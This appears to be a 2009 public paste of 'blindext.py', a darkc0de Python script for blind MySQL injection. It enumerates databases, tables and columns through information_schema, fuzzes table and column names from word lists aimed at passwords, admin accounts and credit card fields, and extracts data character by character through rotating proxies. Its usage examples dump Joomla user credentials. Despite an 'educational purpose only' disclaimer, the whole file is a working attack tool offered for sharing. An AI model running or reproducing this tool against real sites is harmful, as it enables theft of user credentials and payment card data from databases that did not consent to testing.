Public paste
Undefined
By: Guest | Date: Apr 24 2009 10:27 | Format: None | Expires: never | Size: 23.56 KB | Hits: 1586

  1. #!/usr/bin/python
  2. # Features!
  3. # 1.MySQL Blind Injection Data Extractor
  4. # 2.MySQL Blind Information_schema Database Enumerator
  5. # 3.MySQL Blind Table and Column Fuzzer
  6.  
  7. # Feel free to do whatever you want with this code!
  8. # Share the c0de!
  9.  
  10. # Darkc0de Team
  11. # www.darkc0de.com
  12. # rsauron[at]gmail[dot]com
  13.  
  14. # Greetz to
  15. # d3hydr8, P47r1ck, Tarsian, c0mr@d, reverenddigitalx
  16. # and the rest of the Darkc0de members
  17.  
  18. # This was written for educational purpose only. Use it at your own risk.
  19. # Author will be not responsible for any damage!
  20. # Intended for authorized Web Application Pen Testing!
  21.  
  22. # BE WARNED, THIS TOOL IS VERY LOUD..
  23.  
  24. # Change Log
  25. # 2.9 - added info mode, bug fix in the GuessValue function
  26. # 3.0 - added row option.. now you can tell the app where to begin - remember limit start at 0 not 1
  27.  
  28. #Fill in the tables you want tested here.
  29. fuzz_tables = ["user","users","username","usernames","mysql.user","orders","order_items","member","members","admin","administrator","administrators","login","logins","logon","jos_users","jos_contact_details","userrights","account","superuser","control","usercontrol","author","autore","artikel","newsletter","tb_user","tb_users","tb_username","tb_usernames","tb_admin","tb_administrator","tb_member","tb_members","tb_login","perdorues","korisnici","webadmin","webadmins","webuser","webusers","webmaster","webmasters","customer","customers","sysuser","sysusers","sysadmin","sysadmins","memberlist","tbluser","tbl_user","tbl_users","a_admin","x_admin","m_admin","adminuser","admin_user","adm","userinfo","user_info","admin_userinfo","userlist","user_list","user_admin","order","user_login","admin_user","admin_login","login_user","login_users","login_admin","login_admins","sitelogin","site_login","sitelogins","site_logins","SiteLogin","Site_Login","User","Users","Admin","Admins","Login","Logins","adminrights","news","perdoruesit"]
  30. #Fill in the columns you want tested here.
  31. fuzz_columns = ["user","username","password","passwd","pass","id","email","emri","fjalekalimi","pwd","user_name","customers_email_address","customers_password","user_password","name","user_pass","admin_user","admin_password","admin_pass","usern","user_n","users","login","logins","login_user","login_admin","login_username","user_username","user_login","auid","apwd","adminid","admin_id","adminuser","admin_user","adminuserid","admin_userid","adminusername","admin_username","adminname","admin_name","usr","usr_n","usrname","usr_name","usrpass","usr_pass","usrnam","nc","uid","userid","user_id","myusername","mail","emni","logohu","punonjes","kpro_user","wp_users","emniplote","perdoruesi","perdorimi","punetoret","logini","llogaria","fjalekalimin","kodi","emer","ime","korisnik","korisnici","user1","administrator","administrator_name","mem_login","login_password","login_pass","login_passwd","login_pwd","sifra","lozinka","psw","pass1word","pass_word","passw","pass_w","user_passwd","userpass","userpassword","userpwd","user_pwd","useradmin","user_admin","mypassword","passwrd","admin_pwd","admin_pass","admin_passwd","mem_password","memlogin","admin_id","adminid","e_mail","usrn","u_name","uname","mempassword","mem_pass","mem_passwd","mem_pwd","p_word","pword","p_assword","myusername","myname","my_username","my_name","my_password","my_email","cvvnumber","order_payment","card_number","is_admin","cc_number","ccnum","cc_num","credit_card_number","cvc_code","billing_first_name","cvv","cvv2","firstname","lastname","fname","lname","first","last"]
  32.  
  33.  
  34. import urllib, sys, re, os, socket, httplib, urllib2, time
  35.  
  36. #the guts and glory - Binary Algorithim that does all the guessing
  37. def GuessValue(URL):
  38.         global gets
  39.         global proxy_num
  40.         lower = lower_bound
  41.         upper = upper_bound
  42.         while lower < upper:
  43.                 try:
  44.                         mid = (lower + upper) / 2
  45.                         head_URL = URL + ">"+str(mid)
  46.                         #print head_URL
  47.                         gets+=1
  48.                         proxy_num+=1
  49.                         source = proxy_list[proxy_num % proxy_len].open(head_URL).read()
  50.                         match = re.findall(string,source)
  51.                         if len(match) >= 1:
  52.                                 lower = mid + 1
  53.                         else:
  54.                                 upper = mid                    
  55.                 except (KeyboardInterrupt, SystemExit):
  56.                         raise
  57.                 except:
  58.                         pass
  59.  
  60.         if lower > lower_bound and lower < upper_bound:
  61.                 value = lower
  62.         else:
  63.                 head_URL = URL + "="+str(lower)
  64.                 gets+=1
  65.                 proxy_num+=1
  66.                 source = proxy_list[proxy_num % proxy_len].open(head_URL).read()
  67.                 match = re.findall(string,source)
  68.                 if len(match) >= 1:
  69.                         value = lower
  70.                 else:
  71.                         value = 63
  72.                         print "Could not find the ascii character! There must be a problem.."
  73.                         print "Check to make sure your using the app right!"
  74.                         print "READ xprog's blind sql tutorial!n"
  75.                         sys.exit(1)
  76.         return value
  77.  
  78. #determine platform
  79. if sys.platform == 'linux-i386' or sys.platform == 'linux2' or sys.platform == 'darwin':
  80.         SysCls = 'clear'
  81. elif sys.platform == 'win32' or sys.platform == 'dos' or sys.platform[0:5] == 'ms-dos':
  82.         SysCls = 'cls'
  83. else:
  84.         SysCls = 'unknown'
  85.  
  86. #say hello
  87. os.system(SysCls)
  88. if len(sys.argv) <= 1:
  89.         print "n|---------------------------------------------------------------|"
  90.         print "| rsauron[@]gmail[dot]com                                 v3.0  |"
  91.         print "|   7/2008      blindext.py                                     |"
  92.         print "|      -Blind MySQL v5+ Information_schema Database Enumeration |"
  93.         print "|      -Blind MySQL v4+ Data Extractor                          |"
  94.         print "|      -Blind MySQL v4+ Table & Column Fuzzer                   |"
  95.         print "| Usage: blindext.py [options]                                  |"
  96.         print "|                    -h help                    darkc0de.com    |"
  97.         print "|---------------------------------------------------------------|n"
  98.         sys.exit(1)
  99.  
  100. #define varablies
  101. site = ""
  102. string = ""
  103. dbt = "blindextlog.txt"
  104. proxy = "None"
  105. count = 0
  106. mode = "None"
  107. arg_table = "None"
  108. arg_database = "None"
  109. arg_columns = "None"
  110. arg_dump = "None"
  111. arg_schema = "None"
  112. arg_dbs = "None"
  113. arg_mysqldb = ""
  114. darkc0de = ""
  115. line_URL = ""
  116. lower_bound = 0
  117. upper_bound = 10000
  118. gets = 0
  119. mid =0
  120. let_pos = 1
  121. lim_num = 0
  122. value = ""
  123.  
  124. #help option
  125. for arg in sys.argv:
  126.         if arg == "-h":
  127.                 print "n   Usage: ./blindext.py [options]        rsauron[@]gmail[dot]com darkc0de.com"
  128.                 print "tModes:"
  129.                 print "tDefine: --schema Enumerate Information_schema Database."
  130.                 print "tDefine: --dump   Extract information from a Database, Table and Column."
  131.                 print "tDefine: --dbs    Shows all databases user has access too."
  132.                 print "tDefine: --fuzz   Fuzz Tables and Columns."
  133.                 print "tDefine: --info   Prints server version, username@location, database name."
  134.                 print "ntRequired:"
  135.                 print "tDefine: -u       "www.site.com/news.php?id=234""
  136.                 print "tDefine: -s       "truetextinpage""
  137.                 print "ntModes dump and schema options:"
  138.                 print "tDefine: -D       "database_name""
  139.                 print "tDefine: -T       "table_name""
  140.                 print "tDefine: -C       "column_name,column_name...""
  141.                 print "ntOptional:"
  142.                 print "tDefine: -r       row to begin extracting info at."
  143.                 print "tDefine: -p       "127.0.0.1:80 or proxy.txt""
  144.                 print "tDefine: -o       "ouput_file_name.txt"          Default:blindextlog.txt"
  145.                 print "n   Ex: ./blindext.py --dbs -u "www.site.com/news.php?id=234" -s "textinpage" -o output.txt"
  146.                 print "   Ex: ./blindext.py --fuzz -u "www.site.com/news.php?id=234" -s "textinpage" -p 127.0.0.1:8080"
  147.                 print "   Ex: ./blindext.py --schema -u "www.site.com/news.php?id=234" -s "textinpage" -D catalog"
  148.                 print "   Ex: ./blindext.py --schema -u "www.site.com/news.php?id=234" -s "textinpage" -D catalog -T orders -p proxy.txt"
  149.                 print "   Ex: ./blindext.py --dump -u "www.site.com/news.php?id=234" -s "textinpage" -D newjoom -T jos_users -C username,password"
  150.                 sys.exit(1)
  151.  
  152. #Check args
  153. for arg in sys.argv:
  154.         if arg == "-u":
  155.                 site = sys.argv[count+1]
  156.         elif arg == "-s":
  157.                 string = sys.argv[count+1]
  158.         elif arg == "-o":
  159.                 dbt = sys.argv[count+1]
  160.         elif arg == "-p":
  161.                 proxy = sys.argv[count+1]
  162.         elif arg == "--dump":
  163.                 mode = arg
  164.                 arg_dump = sys.argv[count]
  165.         elif arg == "--schema":
  166.                 mode = arg
  167.                 arg_schema = sys.argv[count]
  168.         elif arg == "--dbs":
  169.                 mode = arg
  170.                 arg_dbs = sys.argv[count]
  171.         elif arg == "--fuzz":
  172.                 mode = arg
  173.                 arg_fuzz = sys.argv[count]
  174.         elif arg == "--info":
  175.                 mode = arg
  176.                 arg_info = sys.argv[count]
  177.         elif arg == "-D":
  178.                 arg_database = sys.argv[count+1]
  179.         elif arg == "-T":
  180.                 arg_table = sys.argv[count+1]
  181.         elif arg == "-C":
  182.                 arg_columns = sys.argv[count+1]
  183.         elif arg == "-r":
  184.                 lim_num = sys.argv[count+1]
  185.         count+=1
  186.  
  187. #Title write
  188. file = open(dbt, "a")
  189. print "n|---------------------------------------------------------------|"
  190. print "| rsauron[@]gmail[dot]com                                 v3.0  |"
  191. print "|   7/2008      blindext.py                                     |"
  192. print "|      -Blind MySQL v5+ Information_schema Database Enumeration |"
  193. print "|      -Blind MySQL v4+ Data Extractor                          |"
  194. print "|      -Blind MySQL v4+ Table & Column Fuzzer                   |"
  195. print "| Usage: blindext.py [options]                                  |"
  196. print "|                    -h help                    darkc0de.com    |"
  197. print "|---------------------------------------------------------------|"
  198. file.write("nn|---------------------------------------------------------------|")
  199. file.write("n| rsauron[@]gmail[dot]com                                 v3.0  |")
  200. file.write("n|   7/2008      blindext.py                                     |")
  201. file.write("n|      -Blind MySQL v5+ Information_schema Database Enumeration |")
  202. file.write("n|      -Blind MySQL v4+ Data Extractor                          |")
  203. file.write("n|      -Blind MySQL v4+ Table & Column Fuzzer                   |")
  204. file.write("n| Usage: blindext.py [options]                                  |")
  205. file.write("n|                    -h help                    darkc0de.com    |")
  206. file.write("n|---------------------------------------------------------------|")
  207.        
  208. #Arg Error Checking
  209. if site == "":
  210.         print "n[-] Must include -u flag and -s flag."
  211.         print "[-] For help -hn"
  212.         sys.exit(1)
  213. if string == "":
  214.         print "n[-] Must include -s flag followed by "truetextinpage" string."
  215.         print "[-] For help -hn"
  216.         sys.exit(1)
  217. if mode == "None":
  218.         print "n[-] Mode must be specified --schema --dbs --dump --fuzz"
  219.         print "[-] For help -hn"
  220.         sys.exit(1)
  221. if mode == "--schema" and arg_database == "None":
  222.         print "[-] Must include -D flag!"
  223.         print "[-] For Help -hn"
  224.         sys.exit(1)
  225. if mode == "--dump":
  226.         if arg_table == "None" or arg_columns == "None":
  227.                 print "[-] If MySQL v5+ must include -D, -T and -C flag when --dump specified!"
  228.                 print "[-] If MySQL v4+ must include -T and -C flag when --dump specified!"
  229.                 print "[-] For help -hn"
  230.                 sys.exit(1)
  231. if proxy != "None":
  232.         if len(proxy.split(".")) == 2:
  233.                 proxy = open(proxy, "r").read()
  234.         if proxy.endswith("n"):
  235.                 proxy = proxy.rstrip("n")
  236.         proxy = proxy.split("n")
  237. if arg_columns != "None":
  238.         arg_columns = arg_columns.split(",")
  239. if site[:7] != "http://":
  240.         site = "http://"+site
  241.  
  242. #Build proxy list
  243. print "n[+] URL:",site
  244. file.write("nn[+] URL:"+site+"n")
  245. socket.setdefaulttimeout(10)
  246. proxy_list = []
  247. if proxy != "None":
  248.        
  249.         file.write("[+] Building Proxy List...")
  250.         print "[+] Building Proxy List..."
  251.         for p in proxy:
  252.                 try:
  253.                     proxy_handler = urllib2.ProxyHandler({'http': 'http://'+p+'/'})
  254.                     opener = urllib2.build_opener(proxy_handler)
  255.                     opener.open("http://www.google.com")
  256.                     proxy_list.append(urllib2.build_opener(proxy_handler))
  257.                     file.write("ntProxy:"+p+"- Success")
  258.                     print "tProxy:",p,"- Success"
  259.                 except:
  260.                     file.write("ntProxy:"+p+"- Failed")
  261.                     print "tProxy:",p,"- Failed"
  262.                     pass
  263.         if len(proxy_list) == 0:
  264.                 print "[-] All proxies have failed. App Exiting"
  265.                 file.write("n[-] All proxies have failed. App Exitingn")
  266.                 sys.exit(1)
  267.         print "[+] Proxy List Complete"
  268.         file.write("[+] Proxy List Complete")
  269. else:
  270.     print "[-] Proxy Not Given"
  271.     file.write("[+] Proxy Not Given")
  272.     proxy_list.append(urllib2.build_opener())
  273.  
  274. #Gather Server Config
  275. print "[+] Gathering MySQL Server Configuration..."
  276. file.write("n[+] Gathering MySQL Server Configuration...")
  277. proxy_num = 0
  278. proxy_len = len(proxy_list)
  279. ser_ver = 3
  280. while 1:
  281.         try:
  282.                 config_URL = site+"+and+substring(@@version,1,1)="+str(ser_ver)
  283.                 proxy_num+=1
  284.                 source = proxy_list[proxy_num % proxy_len].open(config_URL).read()
  285.                 match = re.findall(string,source)
  286.                 if len(match) >= 1:
  287.                         print "t[+] MySQL >= v"+str(ser_ver)+".0.0 found!"
  288.                         file.write("nt[+] MySQL >= v"+str(ser_ver)+".0.0 found!")
  289.                         if int(ser_ver) <= 4 and mode == "--schema":
  290.                                 print "t[-] Schema & dbs mode only works on MySQL v5+!!"
  291.                                 file.write("nt[-] Schema & dbs mode only work on MySQL v5+!!")
  292.                                 print "[-] Done"
  293.                                 file.write("[-] Done")
  294.                                 sys.exit(1)
  295.                         if int(ser_ver) <= 4 and mode == "--dbs":
  296.                                 print "t[-] Schema & dbs mode only works on MySQL v5+!!"
  297.                                 file.write("nt[-] Schema & dbs mode only work on MySQL v5+!!")
  298.                                 print "[-] Done"
  299.                                 file.write("[-] Done")
  300.                                 sys.exit(1)
  301.                         break
  302.                 if int(ser_ver) >= 6:
  303.                         print "t[-] Not a MySQL server or the string your using is not being found!"
  304.                         file.write("nt[-] Not a MySQL server or the string your using is not being found!")
  305.                         print "[-] Done"
  306.                         file.write("[-] Done")
  307.                         sys.exit(1)
  308.                 ser_ver+=1
  309.                 gets+=1
  310.         except (KeyboardInterrupt, SystemExit):
  311.                 raise
  312.         except:
  313.                 pass
  314.        
  315. #Build URLS
  316. if mode == "--schema":
  317.         if arg_database != "None" and arg_table == "None":
  318.                 print "[+] Showing Tables from database ""+arg_database+"""
  319.                 file.write("n[+] Showing Tables from database ""+arg_database+""")
  320.                 count_URL = site+"+and+((SELECT+COUNT(table_name)"
  321.                 count_URL += "+FROM+information_schema.TABLES+WHERE+table_schema+=+0x"+arg_database.encode("hex")+"))"
  322.                 line_URL = site+"+and+ascii(substring((SELECT+table_name"
  323.                 line_URL += "+FROM+information_schema.TABLES+WHERE+table_schema+=+0x"+arg_database.encode("hex")
  324.         if arg_database != "None" and arg_table != "None":
  325.                 print "[+] Showing Columns from database ""+arg_database+"" and Table ""+arg_table+"""
  326.                 file.write("n[+] Showing Columns from database ""+arg_database+"" and Table ""+arg_table+""")
  327.                 count_URL = site+"+and+((SELECT+COUNT(column_name)"
  328.                 count_URL += "+FROM+information_schema.COLUMNS+WHERE+table_schema+=+0x"+arg_database.encode("hex")
  329.                 count_URL += "+AND+table_name+=+0x"+arg_table.encode("hex")+"))"
  330.                 line_URL = site+"+and+ascii(substring((SELECT+column_name"
  331.                 line_URL += "+FROM+information_schema.COLUMNS+WHERE+table_schema+=+0x"+arg_database.encode("hex")
  332.                 line_URL += "+AND+table_name+=+0x"+arg_table.encode("hex")
  333. elif mode == "--dump":                
  334.         print "[+] Dumping data from database ""+str(arg_database)+"" Table ""+str(arg_table)+"""
  335.         print "[+] and Column(s) "+str(arg_columns)
  336.         file.write("n[+] Dumping data from database ""+str(arg_database)+"" Table ""+str(arg_table)+""")
  337.         file.write("n[+] Column(s) "+str(arg_columns))
  338.         for column in arg_columns:
  339.                 darkc0de += column+",0x3a,"
  340.         darkc0de = darkc0de.rstrip("0x3a,")
  341.         count_URL = site+"+and+((SELECT+COUNT(*)+FROM+"
  342.         count_URL = count_URL+""+arg_database+"."+arg_table+"))"        
  343.         line_URL = site+"+and+ascii(substring((SELECT+concat("+darkc0de+")+FROM+"
  344.         line_URL = line_URL+""+arg_database+"."+arg_table
  345.         if ser_ver == 4:
  346.                 count_URL = site+"+and+((SELECT+COUNT(*)+FROM+"+arg_table+"))"
  347.                 line_URL = site+"+and+ascii(substring((SELECT+concat("+darkc0de+")+FROM+"+arg_table
  348.                 if arg_database == "mysql" or arg_database == "MYSQL" or arg_database == "MySQL":
  349.                         count_URL = site+"+and+((SELECT+COUNT(*)+FROM+mysql."+arg_table+"))"
  350.                         line_URL = site+"+and+ascii(substring((SELECT+concat("+darkc0de+")+FROM+mysql."+arg_table
  351. elif mode == "--dbs":
  352.         print "[+] Showing all databases current user has access too!"
  353.         file.write("n[+] Showing all databases current user has access too!")
  354.         count_URL = site+"+and+((SELECT+COUNT(schema_name)"
  355.         count_URL += "+FROM+information_schema.schemata+where+schema_name+!=+0x"+"information_schema".encode("hex")+"))"
  356.         line_URL = site+"+and+ascii(substring((SELECT+schema_name"
  357.         line_URL += "+from+information_schema.schemata+where+schema_name+!=+0x"+"information_schema".encode("hex")
  358. line_URL += "+LIMIT+"
  359.  
  360. if mode == "--info":
  361.         print "[+] Showing database version, username@location, and database name!"
  362.         file.write("n[+] Showing database version, username@location, and database name!")
  363.         count_URL = "Nothing"
  364.         line_URL = site+"+and+ascii(substring((SELECT+concat(version(),0x3a,user(),0x3a,database())),"
  365.  
  366.  
  367. #Lets Fuzz
  368. if mode == "--fuzz":
  369.         print "n[%s] StartTime" % time.strftime("%X")
  370.         file.write("nn[%s] StartTime" % time.strftime("%X"))
  371.         print "[+] Fuzzing Tables..."
  372.         file.write("n[+] Fuzzing Tables...")
  373.         fuzz_TABLE_url = site+"+and+(SELECT+1+from+TABLE+limit+0,1)=1"
  374.         for table in fuzz_tables:
  375.                 try:
  376.                         proxy_num+=1
  377.                         gets+=1
  378.                         table_URL = fuzz_TABLE_url.replace("TABLE",table)
  379.                         source = proxy_list[proxy_num % proxy_len].open(table_URL).read()
  380.                         match = re.findall(string,source)
  381.                         if len(match) >= 1:
  382.                                 print "n[Table]:",table
  383.                                 file.write("nn[Table]:"+table)
  384.                                 fuzz_COLUMN_url = site+"+and+(SELECT+substring(concat(1,COLUMN),1,1)+from+"+table+"+limit+0,1)=1"
  385.                                 for column in fuzz_columns:
  386.                                         try:
  387.                                                 proxy_num+=1
  388.                                                 gets+=1
  389.                                                 column_URL = fuzz_COLUMN_url.replace("COLUMN",column)
  390.                                                 source = proxy_list[proxy_num % proxy_len].open(column_URL).read()
  391.                                                 match = re.findall(string,source)
  392.                                                 if len(match) >= 1:
  393.                                                         print "[Column]:",column
  394.                                                         file.write("n[Column]:"+column)
  395.                                         except (KeyboardInterrupt, SystemExit):
  396.                                                 raise
  397.                                         except:
  398.                                                 pass   
  399.                 except (KeyboardInterrupt, SystemExit):
  400.                         raise
  401.                 except:
  402.                         pass
  403.         print "n[%s] EndTime" % time.strftime("%X")
  404.         print "[-] Total URL Requests",gets
  405.         file.write("nn[%s] EndTime" % time.strftime("%X"))
  406.         file.write("n[-] Total URL Requests "+str(gets))
  407.         print "[-] Donen"
  408.         file.write("n[-] Donen")
  409.         print "Don't forget to check", dbt,"n"
  410.         file.close()
  411.         sys.exit(1)
  412.  
  413. #lets count how many rows before we begin
  414. print "[+] %s" % time.strftime("%X")
  415. file.write("n[+] %s" % time.strftime("%X"))
  416. if mode != "--info":
  417.         row_value = GuessValue(count_URL)
  418.         print "[+] Number of Rows: ",row_value,"n"
  419.         file.write("n[+] Number of Rows: "+str(row_value)+"n")
  420. else:
  421.         row_value = 1
  422. #print line_URL
  423. #print Count_URL
  424.        
  425. #Primary Loop
  426. lower_bound = 0
  427. upper_bound = 127
  428. for data_row in range(int(lim_num), row_value):
  429.         sys.stdout.write("[%s]: " % (lim_num))
  430.         file.write("n[%s]: " % (lim_num))
  431.         sys.stdout.flush()
  432.         value = chr(upper_bound)
  433.         while value != chr(0):
  434.                 try:
  435.                         if mode != "--info":
  436.                                 Guess_URL = line_URL + str(lim_num) +",1),"+str(let_pos)+",1))"
  437.                                 #print Guess_URL
  438.                                 value = chr(GuessValue(Guess_URL))
  439.                                 sys.stdout.write("%s" % (value))
  440.                                 file.write(value)
  441.                                 sys.stdout.flush()
  442.                                 let_pos+=1
  443.                         else:
  444.                                 Guess_URL = line_URL + str(let_pos)+",1))"
  445.                                 #print Guess_URL
  446.                                 value = chr(GuessValue(Guess_URL))
  447.                                 sys.stdout.write("%s" % (value))
  448.                                 file.write(value)
  449.                                 sys.stdout.flush()
  450.                                 let_pos+=1
  451.                 except (KeyboardInterrupt, SystemExit):
  452.                         raise
  453.                 except:
  454.                         pass
  455.         print
  456.         lim_num = int(lim_num) + 1
  457.         let_pos = 1
  458.         data_row+=1
  459.  
  460. #Lets wrap it up!
  461. print "n[-] %s" % time.strftime("%X")
  462. print "[-] Total URL Requests",gets
  463. file.write("nn[-] %s" % time.strftime("%X"))
  464. file.write("n[-] Total URL Requests "+str(gets))
  465. print "[-] Donen"
  466. file.write("n[-] Donen")
  467. print "Don't forget to check", dbt,"n"
  468. file.close()